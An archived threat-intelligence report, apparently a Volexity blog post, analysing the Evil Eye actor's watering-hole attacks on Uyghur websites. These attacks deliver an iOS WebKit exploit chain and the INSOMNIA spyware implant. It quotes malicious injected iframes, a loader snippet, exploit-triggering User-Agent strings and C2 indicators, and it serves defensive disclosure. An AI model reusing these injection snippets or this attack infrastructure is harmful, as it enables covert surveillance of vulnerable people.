{
	"id": "24695064-21ac-4978-831c-9de68240226f",
	"created_at": "2026-04-06T00:07:07.325284Z",
	"updated_at": "2026-04-10T03:35:27.508909Z",
	"deleted_at": null,
	"sha1_hash": "7298251b055f364fa05976183198c651164f7b3f",
	"title": "Evil Eye Threat Actor Resurfaces with iOS Exploit and Updated Implant",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 849324,
	"plain_text": "Evil Eye Threat Actor Resurfaces with iOS Exploit and Updated Implant\r\nBy mindgrub\r\nPublished: 2020-04-21 · Archived: 2026-04-05 17:35:27 UTC\r\nIn September 2019, Volexity published Digital Crackdown: Large-Scale Surveillance and Exploitation of Uyghurs, which\r\ndescribed a series of attacks against Uyghurs from multiple Chinese APT actors. The most notable threat actor detailed in\r\nthe blog was one Volexity calls Evil Eye. The Evil Eye threat actor was observed launching an exploit aimed at installing a\r\nmalware implant on Android phones. Volexity also believed this was likely the same group responsible for the launching\r\nexploits aimed at installing an iOS implant as described by Google’s Project Zero. Immediately after the publications from\r\nGoogle and Volexity, the Evil Eye threat actor went fairly quiet. They removed their malicious code from compromised\r\nwebsites, command and control (C2) servers were taken down, and various hostnames stopped resolving. This largely\r\nremained the case until early January 2020, when Volexity observed a series of new activity across multiple previously\r\ncompromised Uyghur websites.\r\nIn the latest activity identified by Volexity, the Evil Eye threat actor used an open source framework called\r\nIRONSQUIRREL to launch their exploit chain. The exploits used targeted Apple iOS operating systems leveraging a\r\nvulnerability in WebKit that appears to have been patched in the summer of 2019. The exploit works against iOS versions\r\n12.3, 12.3.1, and 12.3.2. These versions of iOS are newer than anything mentioned in the Google Project Zero blog, or any\r\nother recently published reports involving weaponized exploits that can be used remotely against iPhones or iPads. If the\r\nexploit is successful, a new version of the implant described by Google will be installed onto the device. Volexity refers to\r\nthis implant by the name INSOMNIA.\r\nVolexity observed multiple different attacks where this implant was being installed on iOS devices. This includes six\r\ndifferent exploit websites; five instances of the malware implant; three different C2 IP and port pair combination; and two\r\nunique C2 IP addresses. Each of the observed exploit sites and malware C2 servers are detailed in Appendix A below.\r\nTargeting Website Visitors\r\nThe Evil Eye actor set up IRONSQUIRREL code to be loaded in a variety of different ways through malicious iframes\r\nacross the various compromised websites. Volexity observed a total of six different hostnames being used to launch attacks\r\nbetween January and March 2020.\r\n While the first round of attacks were identified across several websites, future attacks were only observed in conjunction\r\nwith the Uyghur Academy website. The attacks were largely loaded in fairly standard ways, such as via an iframe on a\r\nwebsite’s index, a modified JavaScript file used by the website, or nested iframes—which was the case on the Uyghur\r\nAcademy website. The code below has been on the main index of the Uyghur Academy website for several months. The\r\n“JPlayer.html” file appears to be exclusively used by the Evil Eye actor when they want to launch attacks against visitors to\r\nthe website. Otherwise, the file is either deleted or emptied out when not in use.\r\n\u003ciframe src=”https://akademiye[.]org/ug/wp-content/themes/goodnews/js/Jplayer.html” width=”0″ height=”0″\u003e\r\n\u003c/iframe\u003e\r\nIn the first observed example of this iOS exploit actvity, the following code was observed inside Jplayer.html.\r\n\u003ciframe src=”https://cdn.doublesclick[.]me/index.html” width=0 height=0\u003e\u003c/iframe\u003e\r\nhttps://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/\r\nPage 1 of 6\n\n---\ntitle: data list\n---\nThe most notable method of loading the code was via an iframe that was observed on the Chinese-language version of the\nUighur Times website. The following code was observed.\niframe\u003e\nHere, the entire iframe has been obfuscated by using base64 encoding, which is a common method to embed images in the\nsource of websites. However, it is far less common to see an iframe load content from a remote website; this may be used as\nan indicator of suspect activity. The base64 content in this iframe decodes as follows:\n[”https://cdn.doublesclick[.]me/index.html”](”https://cdn.doublesclick[.]me/index.html”)\n\nTargeting Website Visitors\nThe index.html file hosted on cdn.doublesclick[.]me would kick off the first step in potential targeting against the user. The\nresponse returned by the server would depend on the User-Agent of the visitor making the request. An exploit chain would\nbe kicked off if the right User-Agent string was detected; otherwise, the server would simply respond with the text “ok”.\nAs an example, the following User-Agent strings would result in the exploit chain being launched.\nMozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)\nVersion/12.1.1 EdgiOS/44.5.0.10 Mobile/15E148 Safari/604.1\nMozilla/5.0 (iPad; 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0\nEdgiOS/44.5.2 Mobile/15E148 Safari/605.1.15CPU OS 1\nNote that exploit can be triggered through any browser on the phone, as they all use WebKit. Volexity was able to confirm\nsuccessful explotiation of a phone running 12.3.1 via the Apple Safari, Google Chrome, and Microsoft Edge mobile\nbrowsers. If a visiting device passes the first checks put in place by Evil Eye, code similar to the following would be\nreturned: The file jquery.js contains the main logic and the server’s public key, while the file s.js contains the supporting Stanford\nJavaScript Crypto Library used to generate a client key pair. This client public key is passed as a variable into the loading of\nthe final JavaScript.\nfunction goto_application(client_pub_g) {\ndocument.write(‘\\x3Cscript type=”text/javascript” src=”application?\nrid=VGXBJK2MFSGLRKQS7PZVJ2L5ZP3XTZPTDSFFYZYBFQPZBTBFKRJQ\u0026cl=’+\nencodeURIComponent(client_pub_g)+ ‘”\u003e\\x3C/script\u003e’);\n}\nThe JavaScript served by the “application” request contains the following key functions/variables:\nhttps://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/\nPage 2 of 6\n\nFunction or variable Purpose\r\nvar load_macho Contains the malicious app to be dropped\r\nfunction\r\nversion_is_supported()\r\nChecks if version of iOS (based on User-Agent) is suitable for exploit (return “12_3_2”\r\n== r || “12_3_1” == r || “12_3” == r)\r\nfunction exp() Responsible for running the exploit, similar to this code\r\nfunction stage_stable() Prepares a fake object for the exploit, in a similar way to this\r\nfunction stage_final()\r\nResponsible for building the Mach-O from the hex array \u0026 prepares the memory space\r\nto drop it in\r\nIf each step of the JavaScript above is successful, it results in a Mach-O binary running on the phone. This application\r\ncontains an iOS exploit for the targeted version and another Mach-O binary, the INSOMNIA implant, embedded in it.\r\nSuccessful iOS exploitation results in the INSOMNIA implant being written to the device at /tmp/updateserver. The implant\r\nis then started with the “run” command-line argument. It runs as root with various entitlements, giving it access to all the\r\ndata the Evil Eye actor wishes to collect.\r\nVolexity has conducted an initial analysis of the payload delivered through the exploit chain and has been able to confirm\r\nsuccessful exploitation of an iPhone running iOS 12.3.1. An overview of this entire chain is shown in the Figure below:\r\nINSOMNIA Implant Analysis\r\nFurther analysis of the malicious binary indicates it appears to be an updated version of the implant described by Google’s\r\nProject Zero in their Implant Teardown post, which was an updated version of what CitizenLab later described here. The\r\ndifferences and updates are summarized as follows:\r\nNew hard-coded IP addresses and ports were found in the malware implants.\r\nAll C2 communication is now done securely over HTTPS. This encrypts all C2 activity, to include data exfiltration.\r\nThe malware conducts C2 server validation using a certificate embedded in the malware and will not function if\r\nvalidation fails.\r\nThe malware employs basic obfuscation techniques to obscure some of its embedded strings.\r\nThe encrypted messaging and secure e-mail applications Signal and Protonmail have been added to the list of apps\r\nthat are specifically targeted by the malware.\r\nIn addition to exfiltrating information about the phone and targeted apps, the malware now automatically sends\r\ninformation about each additional app that is installed on the device during its initial phone-home.\r\nNote that Volexity does not have copies of the exact files analyzed by Project Zero or CitizenLab, so the differences listed\r\nabove are based on the published reports.\r\nObfuscated Strings\r\nThe implant made extensive use of obfuscated strings to hide file names, API names, URL parameters, and other data\r\nrelevant to its operations. These strings were obfuscated by a routine that used a string-specific XOR key and length. The\r\nfollowing screenshot shows the decompilation of this routine inside of Ghidra.\r\nhttps://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/\r\nPage 3 of 6\n\nStepping through this code, the routine takes a pointer to an encrypted string’s data structure as an argument.\r\nOn line 7, it first checks if the string has already been decrypted (offset 0x14).\r\nIf it has not, then it checks that the length is greater than 0 on line 8 (offset 0x10).\r\nIt then loops for each character in the obfuscated string and deobfuscates with XOR. The pointer to the string is\r\nstored at offset 8, and the one byte XOR key to use is stored at offset 0 of the data structure. To aid in our analysis,\r\nwe developed a script that brute-force decrypted every string in the binary in one pass.\r\nMalware Communication\r\nOne of the main criticisms Project Zero made of the attackers was the lack of encryption used by the malware during\r\ntheir operations:\r\nThere’s something thus far which is conspicuous only by its absence: is any of this encrypted? The short answer is\r\nno: they really do POST everything via HTTP (not HTTPS) and there is no asymmetric (or even symmetric)\r\nencryption applied to the data which is uploaded.\r\nThe attackers appear to have addressed this and added HTTPS communication capabilities to their malware. To allow the\r\nmalicious application to use a self-signed certificate, the malware developers embedded the webserver’s public x509\r\ncertificate inside of the executable. This certificate is hardcoded in the _mach_h section of the __DATA segment. The\r\nmalware uses the getsectiondata API in order to retrieve the certificate at runtime.\r\nThe embedded certificate is stored in the DER (binary) format; at runtime, the certificate is passed to the\r\nSecCertificateCreateWithData API inside of the malware’s didReceiveAuthenticationChallenge handler. As documented\r\nnicely in a developer’s blog post and by Apple, this process allows for applications to override the system’s built-in handling\r\nof certificates, and to provide their own authentication for the application’s self-signed certificates. This is actually the way\r\nApple recommends to use self-signed certificates during development, and the malware is abusing it for its own purposes.\r\nAppendix C contains the human-readable form of the certificate embedded in our analyzed binary.\r\nThe use of a specific certificate and SSL verification means that the malware will not talk to just any listening HTTPS\r\nserver, which adds complexity to analyzing INSOMNIA in a sandbox environment. To allow the malware to communicate\r\nwith Volexity’s custom server implementation, it was necessary to “trick” the malware into trusting the server we had set up\r\nto act as the C2. Since Volexity did not have access to the private key of the certificate originally embedded in the malware,\r\nanother solution had to be identified. The chosen solution was to edit the malware directly and to replace the\r\nembedded certificate with one that we created. This was done by overwriting the certificate in the binary and updating the\r\nmach_h section size header to match the length of the new certificate. Once safely replaced, the malware trusted the sandbox\r\nserver and began communication.\r\nWith the malware successfully communicating with the Volexity C2 server, we were able to inspect the data stolen from our\r\ndummy device. As per previous write-ups of this malware, the data transferred is not encrypted (except for the HTTPS), so\r\nwe can easily look at the data stolen. Since this has already been done in depth in the Project Zero write-up, we will not go\r\nover it again here, with the exception of the stolen Signal data. The data stolen from the Signal app is as follows:\r\nImages transferred using Signal (these are unencrypted on the phone)\r\nA copy of the messages, stored in an SQLite3 database (these are encrypted on the phone)\r\nhttps://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/\r\nPage 4 of 6\n\nThe messages require a key from the phones keychain in order to be successfully decrypted. In the Volexity test\r\nenvironment, the required key was not automatically exfiltrated, perhaps showing a shortcoming in the attackers’ thinking.\r\nOver time, the IP addresses the malware was configured to communicate with, ports, and certificates used to verify the\r\nserver were modified.\r\nFunctionality \u0026 Targeted Applications\r\nAs described in the Project Zero and CitizenLab posts, the malware contains a list of applications for which it will steal data\r\nautomatically if they are installed. Since the last analysis, the following applications have been added to this list:\r\nSignal (org.whispersystems.signal)\r\nProtonMail (ch.protonmail.protonmail)\r\nThe inclusion of these apps suggests they are being more commonly used by the Uyghur community than before. In\r\nparticular, the inclusion of Signal and ProtonMail may suggest that the Uyghurs are aware of potential monitoring of their\r\ncommunications and are attempting to use applications with strong security features to avoid this. It is also worth noting that\r\nthis implant also targets the popular messaging app WeChat. This app is referenced as “com.tencent.xin” in other write-ups,\r\nbut it is not mentioned as WeChat.\r\nVolexity also noted that the malware has no mechanism for persistence. This indicates that the attackers must work quickly\r\nto obtain data that they want from a device before it reboots, or that they may potentially rely on the ability to reinfect a\r\nphone. Alternatively, it may be possible the attackers have a method to maintain persistence but only set this up manually\r\nafter verifying the target.\r\nConclusion\r\nEven though the vulnerabilities exploited in this report are patched as of July 2019 with iOS version 12.4 and newer, it\r\nappears that Evil Eye is likely having success with these attacks. According to Apple’s own statistics from its website:\r\n43% of iPad devices using the App store use iOS 12 or earlier\r\n30% of iPhone devices using the App store use iOS 12 or earlier\r\nThis represents a considerable attack surface of potentially vulnerable devices.\r\nAs noted in September 2019, Volexity suspected that the Evil Eye attackers had also targeted iPhones based on the attackers’\r\nC2 servers going offline shortly after Project Zero’s findings were made public. These more recent findings confirm\r\nthe suspicion that the attackers were indeed likely the same. It can now be confirmed that in the past six months, Uyghur\r\nsites have led to malware for all major platforms, representing a considerable development and upkeep effort by the\r\nattackers to spy on the Uyghur population.\r\nAppendix A – Network Indicators\r\nIOC Type Value Description\r\nIP Address 154.85.32.52 C2 for iOS implant observed on TCP ports 43223 and 43773\r\nIP Address 154.85.37.250 C2 for iOS implant observed on TCP port 43111\r\nHostname static.doublesclick.info IRONSQUIRREL exploit hostname\r\nHostname cdn.doublesclick.me IRONSQUIRREL exploit hostname\r\nHostname api.doubles.click IRONSQUIRREL exploit hostname\r\nHostname status.search-sslkey-flush.com IRONSQUIRREL exploit hostname\r\nHostname start.apiforssl.com IRONSQUIRREL exploit hostname\r\nHostname status.verifyingbycf.com IRONSQUIRREL exploit hostname\r\nIP Address 154.85.33.48 Resolution for malicious hostname\r\nIP Address 154.85.34.49 Resolution for malicious hostname\r\nIP Address 154.85.34.214 Resolution for malicious hostname\r\nIP Address 154.85.34.19 Resolution for malicious hostname\r\nHostname 154.85.35.1 Resolution for malicious hostname\r\nAppendix B – INSOMNIA Implant Hashes\r\nhttps://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/\r\nPage 5 of 6\n\nSHA256 Description\r\nc9320a9dc97adbe96c088d3f5ddf3f9275124137f0bf200fdd7160f47c5dcf1a\r\nExecuted as /tmp/updateserver with C2\r\nat 154.85.32.52:43223\r\na8dd8caaeb43d693ececf096bc6fe6c7cbf1ce513cfe33de4224c5c30661a4e3\r\nExecuted as /tmp/updateserver with C2\r\n154.85.32.52:43773\r\n20827a607bacca9119b6fa471b37d6c751664900e68e50e28b734353c36f0d0c\r\nExecuted as /tmp/updateserver with C2\r\n154.85.37.250:43111\r\nc8961483c7197aa0f352b2fd007412e88723fd5af4f64788aa1ce48a0999bd38\r\nExecuted as /tmp/updateserver with C2\r\n154.85.32.52:43773\r\n9518c66b9b568c0f00f9540b961a40529e38c0d723bd800a9c33a043e6b746f6\r\nExecuted as /tmp/updateserver with C2\r\n154.85.32.52:43773\r\nAppendix C – Embedded Certificate\r\nSerial Number: 1111444412586956902 (0xf6ca4cdf7d69866)\r\nSignature Algorithm: sha256WithRSAEncryption\r\nIssuer: C=US, O=xLq, OU=www.xzXW.com, CN=XdM Root CA\r\nValidity\r\nNot Before: Dec 24 22:03:30 2019 GMT\r\nNot After : Dec 24 22:03:30 2039 GMT\r\nSubject: C=US, O=xLq, OU=www.xzXW.com, CN=XdM Root CA\r\nSerial Number: 2330826125403043443 (0x2058c20305d93673)\r\nSignature Algorithm: sha256WithRSAEncryption\r\nIssuer: C=US, O=SsT, OU=www.p83.com, CN=3fbW Root CA\r\nValidity\r\nNot Before: Jan 20 17:02:26 2020 GMT\r\nNot After : Jan 20 17:02:26 2040 GMT\r\nSubject: C=US, O=SsT, OU=www.p83.com, CN=3fbW Root CA\r\nSerial Number: 1152440617419100323 (0xffe4aa2b9ff50a3)\r\nSignature Algorithm: sha256WithRSAEncryption\r\nIssuer: C=US, O=CD6, OU=www.bUjS0F.com, CN=i4v Root CA\r\nValidity\r\nNot Before: Feb 2 19:44:45 2020 GMT\r\nNot After : Feb 2 19:44:45 2040 GMT\r\nSubject: C=US, O=CD6, OU=www.bUjS0F.com, CN=i4v Root CA\r\n Serial Number: 2340440485700108803 (0x207aea38b8190203)\r\nSignature Algorithm: sha256WithRSAEncryption\r\nIssuer: C=US, O=sCO, OU=www.w2j082Q.com, CN=4VNf Root CA\r\nValidity\r\nNot Before: Mar 13 17:29:21 2020 GMT\r\nNot After : Mar 13 17:29:21 2040 GMT\r\nSubject: C=US, O=sCO, OU=www.w2j082Q.com, CN=4VNf Root CA\r\nSource: https://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/\r\nhttps://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE",
		"ETDA"
	],
	"references": [
		"https://www.volexity.com/blog/2020/04/21/evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant/"
	],
	"report_names": [
		"evil-eye-threat-actor-resurfaces-with-ios-exploit-and-updated-implant"
	],
	"threat_actors": [
		{
			"id": "f0ebaf6d-5e1a-4ed7-aa2c-0e69a648acea",
			"created_at": "2022-10-25T16:07:23.597455Z",
			"updated_at": "2026-04-10T02:00:04.683154Z",
			"deleted_at": null,
			"main_name": "Evil Eye",
			"aliases": [],
			"source_name": "ETDA:Evil Eye",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "52973e5f-9656-4b60-b7f8-457e32ac4bbe",
			"created_at": "2023-01-06T13:46:39.056888Z",
			"updated_at": "2026-04-10T02:00:03.198866Z",
			"deleted_at": null,
			"main_name": "POISON CARP",
			"aliases": [
				"Evil Eye",
				"Red Dev 16",
				"Earth Empusa"
			],
			"source_name": "MISPGALAXY:POISON CARP",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "d2a5c949-7ae0-4610-8bb8-047ab03b1574",
			"created_at": "2022-10-25T16:07:24.064197Z",
			"updated_at": "2026-04-10T02:00:04.856578Z",
			"deleted_at": null,
			"main_name": "Poison Carp",
			"aliases": [
				"Earth Empusa",
				"Evil Eye",
				"EvilBamboo",
				"Poison Carp",
				"Red Dev 16",
				"Sentinel Taurus"
			],
			"source_name": "ETDA:Poison Carp",
			"tools": [
				"ActionSpy",
				"AxeSpy",
				"BADSIGNAL",
				"BADSOLAR",
				"BadBazaar",
				"IRONSQUIRREL",
				"IceCube",
				"MOONSHINE",
				"PoisonCarp"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434027,
	"ts_updated_at": 1775792127,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/7298251b055f364fa05976183198c651164f7b3f.pdf",
		"text": "https://archive.orkl.eu/7298251b055f364fa05976183198c651164f7b3f.txt",
		"img": "https://archive.orkl.eu/7298251b055f364fa05976183198c651164f7b3f.jpg"
	}
}